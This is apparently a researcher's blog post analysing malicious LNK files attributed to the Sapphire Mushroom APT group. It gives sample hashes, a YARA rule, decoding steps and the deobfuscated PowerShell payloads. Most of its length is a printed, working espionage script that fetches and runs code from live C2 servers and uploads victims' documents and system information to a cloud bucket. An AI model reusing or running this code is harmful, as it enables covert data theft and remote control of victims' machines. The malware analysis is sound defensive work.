In July 2018, the Chinese-based research group 360 Technical Intelligence Center (TIC) produced a report “蓝宝菇(APT-C-12)针对性攻击技术细节揭秘” (Sapphire Mushroom (APT-C-12) Technical Details Revealed1). This report analysed a malicious LNK file allegedly used by the APT group “Sapphire Mushroom” (蓝宝菇 aka Blue Mushroom aka NuclearCrisis). The group, according to 360 TIC:
…has carried out continuous cyber espionage activities on key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China…[M]ore than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.
The group appeared in March 2011 and appears to be targeting a wide variety of Chinese government and industries with spear-phishing emails. An early tactic used right-to-left override (RTLO or RLO) character to give the appearance of a regular file, and also malicious LNK files.
There is limited background I can find publicly on this group. They are not listed by that name or any variant on the APT Groups and Operations Spreadsheet. I also don’t have access to much private threat intelligence to trawl against. 360 TIC does not make a country attribution (that I can find) in its reports.
What is publicly written is singled-sourced from 360 TIC and helpfully translated by @Viking_Sec
It’s the ‘L’ to the ‘N’ to the ‘K’
Flash-forward to January 2020 and I was trawling through Hybrid-Analysis searching for interesting LNK files, I came across these five samples:
Analysis indicates one of these samples is very similar to the same analysed in the 360 TIC report (of which the hash was not released) and the other four were previously unreported. Further, looking at the samples it is possible targets can be identified based on the malware - although this is not confirmed at this time.
So, with a combination of thread-pulling and reviewing the original 360 TIC report we can look at how these samples are related and any further information that might be interesting.
The Famous Five (LNKs)
What immediately stood out to me was the enormous size of these LNK files: between 400KB to 1.3 MB. Which is massive for such a (normally) little file. This generally indicates data is appended to the end of the file. If it’s larger than normal then it’s often a PE executable that is simply extracted out. How wrong I was.
What was also interesting is all of these samples were Chinese-language named and uploaded to Hybrid-Analysis at about the same time. The summary is as follows:
Date of Upload | File Name | Google Translation | SHA256 Hash |
---|---|---|---|
October 29th 2019 11:00:46 (UTC) | 陈婧简历+作品.lnk | Chen Jing's resume + works | 20ad6fa72982a6ba0f9499361b2aa3a3f5cca73fd397c2969d08a4c5f2866814 |
October 29th 2019 11:03:47 (UTC) | 周文重:2018博鳌亚洲论坛感谢函.lnk | Zhou Wenzhong: Thank you letter for Boao Forum for Asia 2018 | b0d7118d75c0f2a99fa5b319148b89148800e5db06ee403d6a31c451a8a54f2b |
October 29th 2019 12:40:00 (UTC) | 【2018前海合作论坛】.lnk | Qianhai Cooperation Forum 2018 | 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d |
October 29th 2019 12:40:33 (UTC) | 《政法网络舆情》会员申请.lnk | "Politics and Law Network Public Opinion" Member Application | ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af |
October 29th 2019 12:40:54 (UTC) | 《观察者网》采访提纲暨相关新闻附件.lnk | "Observer Network" Interview Outline and Related News Attachments | 6ccad83fb9f7a50ac95e3e865a27be0288279e76fcd3b5af495c6fcf6d58fa36 |
The second-last sample (SHA256 ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af) is very similar to that analysed in the 360 TIC report. This is based on basic characteristics including: filename, file size, reported strings, reported C2 and exfiltration domains, and secondary dropped malware.
A Quick Comparison
Running the five samples through Eric Zimmerman’s LECMD and comparing their overall hex content indicated they were likely related. Points of interest included:
- All had much of their metadata wiped including internal dates and times, MAC addresses, and Volume Serial Numbers. This itself is an anomaly that is a useful tool mark to match samples.
- What wasn’t wiped was the Security Identifier (SID) for each of the LNK files which indicated the user account from which the LNK file was created:
SHA256 Hash | SID |
---|---|
20ad6fa72982a6ba0f9499361b2aa3a3f5cca73fd397c2969d08a4c5f2866814 | S-1-5-21-768223713-132671932-3453716105-7998 |
b0d7118d75c0f2a99fa5b319148b89148800e5db06ee403d6a31c451a8a54f2b | S-1-5-21-768223713-132671932-3453716105-8001 |
70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d | S-1-5-21-768223713-132671932-3453716105-7998 |
ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af | S-1-5-21-768223713-132671932-3453716105-7998 |
6ccad83fb9f7a50ac95e3e865a27be0288279e76fcd3b5af495c6fcf6d58fa36 | S-1-5-21-768223713-132671932-3453716105-7998 |
So, all the samples were created on the same Windows environment and all but one was created with the same user account. Maybe they let the intern have a go?
This would be a good Yara rule to start a hunt:
rule LNK_Based_on_SID
{
meta:
sample = "70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d"
author = "@mattnotmax"
date = "2020-01-23"
strings:
$SID = "S-1-5-21-768223713-132671932-3453716105" wide
condition:
filesize > 400KB and
uint16(0) == 0x4c and
$SID
}
Only one sample (70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d) had been uploaded to Virus Total about the same time as the Hybrid-Analysis uploads: 29 October 2019 at 12:43:22 UTC. At the time of writing it registered 16/58 detections, but all were non-specific Trojan detections.
Malicious Script Delivery
All the LNK files also have similar PowerShell delivery: a plethora of white space to hide a PowerShell encoded commanded from the user, followed by a Base64 encoded script.
The five payloads are:
-w hidden $r='LWpvaW4oKDM2LDU3LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw1Nyw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw1Nyw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNTcsNjEsMTAzLDEwNSwzMiwzNiw1Nyw1OSwxMDgsMTA5LDU2LDMyLDQwLDEwMyw5OSwzMiwzNiw1NywxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==';Function lm8{param($v);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($v)))}lm8 $r
-w hidden $6='LWpvaW4oKDM2LDQ5LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw0OSw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw0OSw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNDksNjEsMTAzLDEwNSwzMiwzNiw0OSw1OSwxMTksMTE0LDQ5LDMyLDQwLDEwMyw5OSwzMiwzNiw0OSwxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==';Function wr1{param($3);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($3)))}wr1 $6
-w hidden $3='LWpvaW4oKDM2LDUwLDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw1MCw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw1MCw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsNTAsNjEsMTAzLDEwNSwzMiwzNiw1MCw1OSwxMTAsNDgsNDgsMzIsNDAsMTAzLDk5LDMyLDM2LDUwLDEyNCwxMTUsMTAxLDEwOCwxMDEsOTksMTE2LDMyLDQ1LDEwOCwzMiw0OSw0MSl8JXtbaW50XSRfLUFTW2NoYXJdfSl8aWV4';Function n00{param($z);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($z)))}n00 $3
-w hidden $5='LWpvaW4oKDM2LDEwMSw2MSwzNiwxMDQsMTExLDExNSwxMTYsNDYsMTE3LDEwNSw0NiwxMTQsOTcsMTE5LDExNywxMDUsNDYsMTE5LDEwNSwxMTAsMTAwLDExMSwxMTksMTE2LDEwNSwxMTYsMTA4LDEwMSw1OSw3MywxMDIsNDAsMzMsMzYsMTAxLDQ2LDEwMSwxMTAsMTAwLDExNSwxMTksMTA1LDExNiwxMDQsNDAsMzksNDYsMTA4LDExMCwxMDcsMzksNDEsNDEsMTIzLDM2LDEwMSw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsMTAxLDYxLDEwMywxMDUsMzIsMzYsMTAxLDU5LDExNSwxMDYsNTUsMzIsNDAsMTAzLDk5LDMyLDM2LDEwMSwxMjQsMTE1LDEwMSwxMDgsMTAxLDk5LDExNiwzMiw0NSwxMDgsMzIsNDksNDEpfCV7W2ludF0kXy1BU1tjaGFyXX0pfGlleA==';Function sj7{param($z);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($z)))}sj7 $5
-w hidden $o='LWpvaW4oKDM2LDk3LDYxLDM2LDEwNCwxMTEsMTE1LDExNiw0NiwxMTcsMTA1LDQ2LDExNCw5NywxMTksMTE3LDEwNSw0NiwxMTksMTA1LDExMCwxMDAsMTExLDExOSwxMTYsMTA1LDExNiwxMDgsMTAxLDU5LDczLDEwMiw0MCwzMywzNiw5Nyw0NiwxMDEsMTEwLDEwMCwxMTUsMTE5LDEwNSwxMTYsMTA0LDQwLDM5LDQ2LDEwOCwxMTAsMTA3LDM5LDQxLDQxLDEyMywzNiw5Nyw0Myw2MSwzOSw0NiwxMDgsMTEwLDEwNywzOSwxMjUsMzYsOTcsNjEsMTAzLDEwNSwzMiwzNiw5Nyw1OSwxMTMsNTQsNTIsMzIsNDAsMTAzLDk5LDMyLDM2LDk3LDEyNCwxMTUsMTAxLDEwOCwxMDEsOTksMTE2LDMyLDQ1LDEwOCwzMiw0OSw0MSl8JXtbaW50XSRfLUFTW2NoYXJdfSl8aWV4';Function q64{param($6);iex ([text.encoding]::utf8.getstring([convert]::frombase64string($6)))}q64 $o
When converted from Base64 there is another layer of CharCode (Unicode character numbers):
-join((36,57,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,57,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,57,43,61,39,46,108,110,107,39,125,36,57,61,103,105,32,36,57,59,108,109,56,32,40,103,99,32,36,57,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex
-join((36,49,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,49,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,49,43,61,39,46,108,110,107,39,125,36,49,61,103,105,32,36,49,59,119,114,49,32,40,103,99,32,36,49,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex
-join((36,50,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,50,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,50,43,61,39,46,108,110,107,39,125,36,50,61,103,105,32,36,50,59,110,48,48,32,40,103,99,32,36,50,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex
-join((36,101,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,101,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,101,43,61,39,46,108,110,107,39,125,36,101,61,103,105,32,36,101,59,115,106,55,32,40,103,99,32,36,101,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex
-join((36,97,61,36,104,111,115,116,46,117,105,46,114,97,119,117,105,46,119,105,110,100,111,119,116,105,116,108,101,59,73,102,40,33,36,97,46,101,110,100,115,119,105,116,104,40,39,46,108,110,107,39,41,41,123,36,97,43,61,39,46,108,110,107,39,125,36,97,61,103,105,32,36,97,59,113,54,52,32,40,103,99,32,36,97,124,115,101,108,101,99,116,32,45,108,32,49,41)|%{[int]$_-AS[char]})|iex
The above two rounds of obfuscation can be decoded using CyberChef goodness:
[{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+=/]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"Fork","args":["\\n","\\n\\n\\n",false]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Regular expression","args":["User defined","([0-9]{2,3})",true,true,false,false,false,false,"List matches"]},{"op":"Find / Replace","args":[{"option":"Extended (\\n, \\t, \\x...)","string":"\\n"},", ",true,false,true,false]},{"op":"From Charcode","args":["Comma",10]}]
This reveals:
$9=$host.ui.rawui.windowtitle;If(!$9.endswith('.lnk')){$9+='.lnk'}$9=gi $9;lm8 (gc $9|select -l 1)
$1=$host.ui.rawui.windowtitle;If(!$1.endswith('.lnk')){$1+='.lnk'}$1=gi $1;wr1 (gc $1|select -l 1)
$2=$host.ui.rawui.windowtitle;If(!$2.endswith('.lnk')){$2+='.lnk'}$2=gi $2;n00 (gc $2|select -l 1)
$e=$host.ui.rawui.windowtitle;If(!$e.endswith('.lnk')){$e+='.lnk'}$e=gi $e;sj7 (gc $e|select -l 1)
$a=$host.ui.rawui.windowtitle;If(!$a.endswith('.lnk')){$a+='.lnk'}$a=gi $a;q64 (gc $a|select -l 1)
All of these do the same thing: check the title text in the current window, rename that text to end in .lnk
if needed, then select the last line of the LNK file and extract it.
Babushka (LNK) Dolls
Extracting out the last line of the LNK files reveals more Base64 encoded CharCode. Due to the length, I’ll copy one sample here and the same CyberChef recipe can quickly deal with it:
Here’s the extracted and semi-clean PowerShell from sample 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d:
[io.file]::writeallbytes("$env:tmp\xgihT.Z",[convert]::frombase64string((gc $2|select -l 2|select -f 1)));
expand /f:* "$env:tmp\xgihT.Z" "$env:tmp\";
del -fo "$env:tmp\xgihT.Z";
If (test-path $env:tmp\xgihT) {
del -fo -r "$env:tmp\xgihT"
}
rni -fo "$env:tmp\tmp" "xgihT";
md -fo "$env:AppData\WinRAR";
mv -fo "$env:tmp\xgihT\Rar.exe" "$env:AppData\WinRAR\";
mv -fo "$env:tmp\xgihT\FLrzH.w" "$env:tmp\..\";
If ($2.fullname.startswith($env:tmp)) {
del -fo -r ("$env:tmp\"+$2.basename);
rni -fo "$env:tmp\xgihT" $2.basename;
ii ("$env:tmp\"+$2.basename+"\")
}
Else {
del -fo $2;
md -fo $2.basename;
mv -fo "$env:tmp\xgihT\*" $2.basename;
del -fo -r "$env:tmp\xgihT";
ii "$($2.basename)\"
}
If (test-path $env:tmp\backups) {
If (((get-date)-(get-item $env:tmp\backups).LastAccessTime).totalminutes -le 60) {
exit
}
del -fo -r "$env:tmp\backups"
}
If (test-path "$env:tmp\..\FLrzH.w") {
rundll32 "$env:tmp\..\FLrzH.w",DllRegister `
"powershell -w hidden `
""Function we8([String]`$3,`$7='MD5'){`$g=New-Object System.Text.StringBuilder;`
`$9=[System.Security.Cryptography.HashAlgorithm]::Create(`$7).ComputeHash([System.Text.Encoding]::UTF8.GetBytes(`$3));`
foreach(`$1 in `$9) {`
[Void]`$g.Append(`$1.ToString('x2'))`
}`
`$w=`$g.ToString();`
`$e=`$w.substring(0,12);`
return `$e}`
Function qv1 (`$3) {`
`$w=[System.Text.Encoding]::UTF8;`
`$x=`$w.GetBytes('s');`
`$s=`$(for(`$e=0;`
`$e -lt `$3.length;) {`
for(`$g=0;`$g -lt `$x.length;`$g++) {`
`$3[`$e] -bxor `$x[`$g];`
`$e++;If(`$e -ge `$3.Length) {`
`$g=`$x.length`
}`
}`
}`);`
`$7=`$w.GetString(`$s);`
return `$7`
}`
Function qc4 {`
`$s=0;`
`$q=`$m.length;`
while (1) {`
`$w=@();`
`$7=Get-WmiObject win32_networkadapterconfiguration;`
foreach(`$zv7 in `$7) {`
If(`$zv7.macaddress) {`
`$w+=`$zv7.macaddress`
}`
}`
`$zv7=@();`
foreach(`$ij4 in `$w) {`
If(`$ij4.contains(':')) {`
`$zv7+=`$ij4.substring(0,17) -replace ':',''`
}`
}`
`$zv7=`$zv7|sort;`
`$zy3=we8 (`$zv7[-1]+`$env:username);`
`$xi2=new-object System.Net.WebClient;`
`$xi2.headers.add('user-agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36');`
`$xi2.headers.add('Cookie','PHPSESSID='+`$zy3+'; csrftoken=u32t4o3tb3lbj'+`$v+'; _gat='+`$u+';');`
try {`
`$0=`$xi2.DownloadString(`$m[`$s]);`$ri8=`$0.split(' ');`
`$jd4= `$ri8.Length;`
`$qw2=new-object int[] `$jd4;`
for(`$e=0;`$e -lt `$jd4;`$e+=1) {`
`$qw2[`$e]=[int]`$ri8[`$e]`
}`
`$0=qv1 `$qw2;iex `$0;`
while(1) {`
try {`
ROAGC `$8 `$u `$m `$a `$zy3`
}`
catch {}`
}`
}`
catch {`
If(`$s -lt (`$q-1)) {`
`$s+=1`
}`
Else {`
`$s=0`
}`
}`
Start-Sleep -s 180`
}`
}`
`$v='';`
`$0=[System.Text.Encoding]::Default.EncodingName;`
If(`$0.endswith('jis)')) {`
`$v='5'`
}`
Elseif(`$0.endswith('f-16)')) {`
`$v='4'`
}`
Elseif(`$0.endswith('M437)')) {`
`$v='3'`
}`
Elseif(`$0.endswith('g5)')) {`
`$v='1'`
}`
Elseif(`$0.endswith('12)')) {`
`$v='0'`
}`
Else {`$v='2'}`
`$0='http://159.65.74.97;http://159.65.127.93;http://128.199.73.43';`
`$m=`$0.split(';');`
`$a='o19JOAiPTbSozNpAcIRYRy20E/sAYzrJxFzmsAQTbBo=';`
`$u='REDACTED';`
`$8=10;`
`$0=-join(get-random ([char[]](65..90+97..122)) -c 7 -s `$([int](get-date -f yyyMd)));`
`$nl7=new-object system.threading.mutex(0,`$0);`
If (`$nl7.waitone(1)) {`
try {`
qc4`
}`
finally {`
`$nl7.releasemutex()`
}`
}`
"""
}
md -fo "$env:tmp\backups";
Function u65($9) {
[system.gc]::collect();
$6=[System.Net.WebRequest]::Create($9.Uri1);
$6.proxy=$Null;
$6.keepalive=$False;
$6.Method=$9.Method1;
If ($9.Header2.count) {
foreach($1 in $9.Header2.getenumerator()) {
If ($1.name) {
$6.Headers.Add($1.name, $1.value)
}
}
}
$6.AllowAutoRedirect=$False;
$6.ContentLength=$9.Body.Length;
$x=$6.GetRequestStream();
$x.Write($9.Body,0,$9.Body.Length);
$t=$6.GetResponse();
If ($9.GData) {
$r=$t.GetResponseStream();
$e=New-Object System.IO.StreamReader $r;
$n=$e.ReadToEnd()
}
If ($t -ne $Null) {
$t.close()
}
If ($6 -ne $Null) {
$6.abort()
}
If ($9.GData) {
return ($t.statuscode,([xml]$n).InitiateMultipartUploadResult.UploadId)
}
return $t
}
Function v95($2,$p) {
$e=New-Object System.Security.Cryptography.HMACSHA256;
$e.key=$2;$2=$e.ComputeHash([Text.Encoding]::utf8.GetBytes($p));
return $2
}
Function y79($p) {
$9=[Security.Cryptography.HashAlgorithm]::Create("SHA256");
$4=[Text.Encoding]::utf8.GetBytes($p);
$h=$9.ComputeHash($4);
return -join($h| % {"{0:x2}" -f $_})
}
Function ww2($9) {
$c='/';
If ($9.DIRNAME) {
$c+="$($9.DIRNAME)/"
}
If ($9.FILENAME) {
$c+=$9.FILENAME}$5='';
($9.CANON_HEAD.keys | sort) | % {$5+="$($_):$($9.CANON_HEAD[$_])`n"};
$0="$($9.METHOD)`n$c`n$($9.QUERYS)`n$5`n$($9.SIGNHEAD)`n$($9.BODY_SIG)";
return "AWS4-HMAC-SHA256`n$($9.ISODATE)`n$($9.DATE)/$($9.REGION)/s3/aws4_request`n$(y79 $0)"
}
Function i09($9) {
$c=[convert]::frombase64string('+ji52ydI8GAan3Xej2sIhMfPEEATEQjehjYt2Nh+ZqQ=');
$7=v95 $c $9.REGION;$i=v95 $7 "s3";
$s=v95 $i "aws4_request";
$2=v95 $s $9.CANON_REQ;return -join($2|%{"{0:x2}" -f $_})
}
Function en2($9,$6,$7) {
$9.ISODATE='20180621T015829Z';
$9.DATE=$9.ISODATE.split('T')[0];$9.CANON_HEAD=@{"host"=$9.HOSTURL;"x-amz-content-sha256"=$9.BODY_SIG;"x-amz-date"=$9.ISODATE};
If ($9.FileMD5) {
$9.CANON_HEAD.add('content-md5',$9.FileMD5)
}
$9.SIGNHEAD=($9.CANON_HEAD.keys|sort) -join ';';
$9.CANON_REQ=ww2 $9;$9.CANON_SIG=i09 $9;
$t=@{"x-amz-content-sha256"=$9.BODY_SIG;"x-amz-date"=$9.ISODATE;"Authorization"="AWS4-HMAC-SHA256 Credential=$($9.ACCESS_KEY)/$($9.DATE)/$($9.REGION)/s3/aws4_request, SignedHeaders=$($9.SIGNHEAD), Signature=$($9.CANON_SIG)"};If($9.FileMD5){$t.add('content-md5',$9.FileMD5)}$x="https://$($9.HOSTURL)/";
If ($9.DIRNAME) {
$x+="$($9.DIRNAME)/"
}
If ($9.FILENAME) {
$x+=$9.FILENAME
}
If ($9.QUERYS) {
$x+="?$($9.QUERYS)"
}
$b=@{Uri1=$x;Body=$6;Method1=$9.METHOD;Header2=$t;GData=$7};
return $b
}
Function ts3($l,$x,$t) {
$9=@{METHOD='POST';HOSTURL='05012.ams3.digitaloceanspaces.com';ACCESS_KEY='BVTTZPQUDF3W4Z7P3WTN';REGION='nyc3';DIRNAME=$x;FILENAME=$t.tostring()+$l.extension};
$3=$False;
$g=$False;
try {
$f=New-Object System.IO.FileStream $l.fullname, 'Open';
If ($f.Length -gt 5Mb) {
$g=$True;
$i=New-Object System.Xml.XmlDocument;
$4=$i.Createelement('CompleteMultipartUpload');
$9.QUERYS='uploads=';
$9.BODY_SIG=y79 '';
$b=en2 $9 '' $True;
$0=u65 $b;
$n=[int]$0[0];
$x=$0[1]
}
}
catch {}
If ($n -eq 200 -or -not $g) {
$t=0;
$o=0;
$h=1;
$2=5Mb;
try {
[byte[]]$6=New-Object byte[] $2;
while ($o -le 10) {
$o+=1;
$w=[Math]::Min($2,$f.Length-$t);
If ($w -lt $2) {
[byte[]]$6=New-Object byte[] $w
}
$q=$f.Read($6,0,$w);
If ($q -ne $w) {
break
}
$q=New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
$9.METHOD='PUT';
$9.BODY_SIG='UNSIGNED-PAYLOAD';
$9.FileMD5=[convert]::tobase64string($q.ComputeHash($6));
If ($g) {
$9.QUERYS="partNumber=$h&uploadId=$x"
}
$b=en2 $9 $6 $False;
$0=u65 $b;
$n=[int]$0.StatusCode;
If ($n -eq 200) {
If ($g) {
$q=$i.Createelement('Part');
$p=$i.Createelement('PartNumber');
$p.innertext=$h;
[void]$q.appendchild($p);
$6=$i.Createelement('ETag');
$6.innertext=$0.Headers['etag'];
[void]$q.appendchild($6);
[void]$4.appendchild($q);
$h+=1;
$t+=$w
}
else {
$3=$True
}
If ($t -eq $f.Length) {
break
}
}
else {
If ($f.Position -ne $t) {
[void]$f.Seek($t,[System.IO.SeekOrigin]::Begin)
}
}
}
If ($g) {
$9.METHOD='POST';
$g=[byte[]][char[]]$4.outerxml;
$9.BODY_SIG=y79 $4.outerxml;
$9.QUERYS="uploadId=$x";
$9.FileMD5='';
$b=en2 $9 $g $False;
$0=u65 $b;
If ([int]$0.StatusCode -eq 200) {
$3=$True
}
}
}
catch {
}
}
$f.Close();
$f.Dispose();
return $3
}
Function x56($6,$g,$f) {
iex ("& '$env:AppData\WinRAR\Rar.exe' a -ep1 -y -hp$6 '$g' '$f'") | out-null;
If (!(test-path $g)) {
makecab "$f" "$g" | out-null
}
}
Function zm7($l,$n,$g,$y,$x) {
$s="["+$g+"] "+($l.fullName)+" Size:"+($l.Length/1kb)+"KB Time:"+($l.LastWriteTime);
Try {
gc $l.fullname -fo -total 0 -erroraction stop;
$7=$True;
If ($l.extension -eq '.txt' -and $l.Length -gt 10KB) {
$7=$False
}
If ($n -eq $_.Length) {
$7=$False
}
If ($l.Length -le 100MB -and $l.Length -gt 0 -and $7) {
$9="$env:tmp\backups\$g.rar";
x56 $j $9 $l.fullName;
If (test-path $9) {
$9=gi -fo $9
}
Else {
$9=$l
}
If (ts3 $9 $x $y) {
$s+=" ($y)OK`r`n";
sleep -s 1
}
Else {
$s+=" (Error)`r`n"
}
If ($9.extension -eq '.rar') {
del -fo $9.fullname
}
}
Else {
$s+="[!Size or Duplicate!]`r`n"
}
}
Catch {
$s+="[!Access denied!!]`r`n"
}
return $s
}
Function sr2($j,$x) {
$6=180;
$y=1;
$b=0;
$e=(Get-Date -f yyyyMMddhhmmss)+"`r`nWeek:`r`n";
$n=0;
$f=('.doc','.docx','.pdf','.ppt','.pptx','.xls','.xlsx','.wps','.wpp','.et','.txt');
gci "$env:appdata\Microsoft\Windows\Recent\" -fo -errora silentlycontinue | ? { $f -contains [io.path]::getextension($_.basename) -and $_.LastWriteTime -ge (Get-Date).AddDays(-7)} | % {gi ((new-object -com wscript.shell).createshortcut($_.fullname)).targetpath -fo -errora silentlycontinue} | % {$b+=1;$e+=zm7 $_ $n $b $y $x;$n=$_.Length;
If ($e.endswith("OK`r`n")) {
$y+=1
}};
$5=@();
$5+=gdr -p 'fi*' | ? {$_.root -ne "$env:systemdrive\"} | % {gci -fo $_.root};
$5+=gci -fo "$env:systemdrive\users";
$5+=gci -fo "$env:systemdrive\" | ? {$_.fullname -notlike '*:\Windows*' -and $_.fullname -notlike '*:\Users' -and $_.fullname -notlike '*:\Program Files*' -and $_.fullname -notlike '*:\ProgramData' -and $_.fullname -notlike '*:\MSOCache' -and $_.fullname -notlike '*:\PerfLogs' -and $_.fullname -notlike '*:\System Volume*' -and $_.fullname -notlike '*:\Documents and Settings' -and $_.fullname -notlike '*:\Recovery' -and $_.fullname -notlike '*:\Boot'};
$5=$5 | sort lastwritetime -des | % {$_.fullname} | ? {$_};
$e+="Search List:`r`n$5`r`n";
$c=0;
If ($6 -ge 30){
$r=30
}
Else {
$r=$6
}
$p=Get-Date;
$k=1;
$n=0;
while ($6 -ge $r) {
$e+="M $k (D $c - D $r):`r`n";
foreach ($d in (('.doc','.docx','.pdf'),('.ppt','.pptx','.xls','.xlsx','.wps','.wpp','.et'),('.txt','.eml'))) {
$e+="FileType: $d`r`n";
foreach ($4 in $5) {
Try {
gci $4 -r -fo -errora silentlycontinue | ? {$d -contains $_.extension -and $_.LastWriteTime -lt $p.AddDays(-1*$c) -and $_.LastWriteTime -ge $p.AddDays(-1*$r) } | % {$b+=1;$e+=zm7 $_ $n $b $y $x;$n=$_.Length;
If ($e.endswith("OK`r`n")) {
$y+=1
}
}
}
catch {
$e+="[!!!$4 search error !!!]`r`n"
}
}
}
$e+=(Get-Date -f yyyyMMddhhmmss)+"`r`n";
$e+=(get-wmiobject win32_process -f "name='powershell.exe'" | % {$_.commandline+"`r`n"});
$e > "$env:tmp\$($k)test.txt";
$e="$env:tmp\$($k)test.txt";
x56 $j "$env:tmp\backups\M$k.rar" $e;
ts3 (gi -fo "$env:tmp\backups\M$k.rar") $x "M$k";
del -fo $e,"$env:tmp\backups\M$k.rar";
$e='';
If ($6 -le $r) {
break
}
$r+=30;
$c+=30;
If ($6 -le $r) {
$r=$6
}
$k+=1
}
$p=0;
$k=0;
while(1) {
sleep -s 3500;
md -fo "$env:tmp\backups";
$x=(hostname)+"_P"+(Get-Date -f yyyyMMddhhmmss)+"_REDACTED";
$y=1;$n=0;$k+=1;$e="$x`r`n";
gci "$env:appdata\Microsoft\Windows\Recent\" -fo -errora silentlycontinue | ? {$f -contains [io.path]::getextension($_.basename) -and $_.LastWriteTime -ge (Get-Date).AddHours(-1) } | % {gi ((new-object -com wscript.shell).createshortcut($_.fullname)).targetpath -fo -errora silentlycontinue} | % {$b+=1;$e+=zm7 $_ $n $b $y $x;$n=$_.Length;
If ($e.endswith("OK`r`n")) {
$y+=1
}
};
$f='';
$e+=(Get-Date -f yyyyMMddhhmmss)+"`r`n";
$e > "$env:tmp\$($k)test.txt";
$e="$env:tmp\$($k)test.txt";
x56 $j "$env:tmp\backups\P$k.rar" $e;
ts3 (gi -fo "$env:tmp\backups\P$k.rar") $x "P$k";
del -fo $e,"$env:tmp\backups\P$k.rar"
}
}
[System.Net.ServicePointManager]::DefaultConnectionLimit=50;[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
$s=(hostname)+"_"+(Get-Date -f yyyyMMddhhmmss)+"_REDACTED";
$m='http://159.65.74.97;http://159.65.127.93;http://128.199.73.43';
$p=$m.split(";");
$q=$p.length;
$l=0;
$w="";
while ($l -lt $q) {
try {
$9=[System.Net.WebRequest]::Create($p[$l]);
$w+=$l.ToString();
$3=$9.GetResponse();
$w+=" OK`r`n"
}
catch {
$w+=" BAD!`r`n"
}
$l+=1
}
$w+=(Get-Date -f yyyyMMddhhmmss)+"`r`n";
$w+="systeminfo:`r`n"+(systeminfo)+"`r`n";
